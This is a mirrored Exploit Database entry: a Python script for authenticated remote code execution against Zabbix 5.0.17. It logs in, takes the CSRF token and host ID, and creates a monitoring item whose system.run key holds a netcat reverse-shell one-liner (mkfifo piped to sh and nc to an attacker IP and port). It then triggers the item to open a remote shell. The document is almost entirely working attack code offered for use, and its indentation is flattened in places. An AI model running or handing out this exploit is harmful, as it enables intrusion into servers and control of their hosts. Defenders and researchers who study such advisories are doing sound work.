Zabbix 5.0.17 – Remote Code Execution (RCE) (Authenticated)

• Exploit Database
• 14 阅读

• 作者： Hussien Misbah
  日期： 2022-03-10
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50816/

• # Exploit Title: Zabbix 5.0.17 - Remote Code Execution (RCE) (Authenticated)
  # Date: 9/3/2022
  # Exploit Author: Hussien Misbah
  # Vendor Homepage: https://www.zabbix.com/
  # Software Link: https://www.zabbix.com/rn/rn5.0.17
  # Version: 5.0.17
  # Tested on: Linux
  # Reference: https://github.com/HussienMisbah/tools/tree/master/Zabbix_exploit
  
  #!/usr/bin/python3
  # note : this is blind RCE so don't expect to see results on the site 
  # this exploit is tested against Zabbix 5.0.17 only
  
  import sys
  import requests
  import re 
  import random
  import string
  import colorama
  from colorama import Fore
  
  
  print(Fore.YELLOW+"[*] this exploit is tested against Zabbix 5.0.17 only")
  print(Fore.YELLOW+"[*] can reach the author @ https://hussienmisbah.github.io/")
  
  
  def item_name() :
  letters = string.ascii_letters
  item =''.join(random.choice(letters) for i in range(20)) 
  return item
  
  if len(sys.argv) != 6 :
  print(Fore.RED +"[!] usage : ./expoit.py <target url><username> <password> <attacker ip> <attacker port>")
  sys.exit(-1)
  
  url= sys.argv[1]
  username =sys.argv[2]
  password = sys.argv[3]
  host = sys.argv[4]
  port = sys.argv[5]
  
  
  s = requests.Session()
  
  
  headers ={ 
  "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
  }
  
  data = {
  "request":"hosts.php", 
  "name": username ,
  "password" : password ,
  "autologin" :"1" ,
  "enter":"Sign+in"
  }
  
  
  proxies = {
   'http': 'http://127.0.0.1:8080'
  }
  
  
  r = s.post(url+"/index.php",data=data)#proxies=proxies)
  
  if "Sign out" not in r.text :
  print(Fore.RED +"[!] Authentication failed")
  sys.exit(-1)
  if "Zabbix 5.0.17" not in r.text :
  print(Fore.RED +"[!] This is not Zabbix 5.0.17")
  sys.exit(-1)
  
  if "filter_hostids%5B0%5D=" in r.text :
  try :
  x = re.search('filter_hostids%5B0%5D=(.*?)"', r.text)
  hostId = x.group(1)
  except :
  print(Fore.RED +"[!] Exploit failed to resolve HostID")
  print(Fore.BLUE +"[?] you can find it under /items then add item")
  sys.exit(-1)
  else :
  print(Fore.RED +"[!] Exploit failed to resolve HostID")
  print(Fore.BLUE +"[?] you can find HostID under /items then add item")
  sys.exit(-1)
  
  
  sid= re.search('<meta name="csrf-token" content="(.*)"/>',r.text).group(1) # hidden_csrf_token
  
  
  command=f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {host} {port}>/tmp/f"
  
  payload = f"system.run[{command},nowait]"
  Random_name = item_name()
  data2 ={
  
  "sid":sid,"form_refresh":"1","form":"create","hostid":hostId,"selectedInterfaceId":"0","name":Random_name,"type":"0","key":payload,"url":"","query_fields[name][1]":"","query_fields[value][1]":"","timeout":"3s","post_type":"0","posts":"","headers[name][1]":"","headers[value][1]":"","status_codes":"200","follow_redirects":"1","retrieve_mode":"0","http_proxy":"","http_username":"","http_password":"","ssl_cert_file":"","ssl_key_file":"","ssl_key_password":"","interfaceid":"1","params_es":"","params_ap":"","params_f":"","value_type":"3","units":"","delay":"1m","delay_flex[0][type]":"0","delay_flex[0][delay]":"","delay_flex[0][schedule]":"","delay_flex[0][period]":"","history_mode":"1","history":"90d","trends_mode":"1","trends":"365d","valuemapid":"0","new_application":"","applications[]":"0","inventory_link":"0","description":"","status":"0","add":"Add"
  }
  
  r2 =s.post(url+"/items.php" ,data=data2,headers=headers,cookies={"tab":"0"} )
  
  
  no_pages= r2.text.count("?page=") 
  
  #################################################[Searching in all pages for the uploaded item]#################################################
  page = 1
  flag=False
  while page <= no_pages :
  r_page=s.get(url+f"/items.php?page={page}" ,headers=headers )
  ifRandom_name in r_page.text :
  print(Fore.GREEN+"[+] the payload has been Uploaded Successfully")
  x2 = re.search(rf"(\d+)[^\d]>{Random_name}",r_page.text)
  try :
  itemId=x2.group(1)
  except :
  pass
  
  print(Fore.GREEN+f"[+] you should find it at {url}/items.php?form=update&hostid={hostId}&itemid={itemId}")
  flag=True
  break 
  
  else :
  page +=1
  
  if flag==False :
  print(Fore.BLUE +"[?] do you know you can't upload same key twice ?")
  print(Fore.BLUE +"[?] maybe it is already uploaded so set the listener and wait 1m")
  print(Fore.BLUE +"[*] change the port and try again")
  sys.exit(-1)
  
  #################################################[Executing the item]#################################################
  
  
  data2["form"] ="update"
  data2["selectedInterfaceId"] = "1"
  data2["check_now"]="Execute+now"
  data2.pop("add",None)
  data2["itemid"]=itemId,
  
  print(Fore.GREEN+f"[+] set the listener at {port} please...")
  
  r2 =s.post(url+"/items.php" ,data=data2,headers=headers,cookies={"tab":"0"}) # ,proxies=proxies )
  
  print(Fore.BLUE+ "[?] note : it takes up to +1 min so be patient :)")
  answer =input(Fore.BLUE+"[+] got a shell ? [y]es/[N]o: ")
  
  if "y" in answer.lower() :
  print(Fore.GREEN+"Nice !")
  else :
  print(Fore.RED+"[!] if you find out why please contact me ")
  
  sys.exit(0)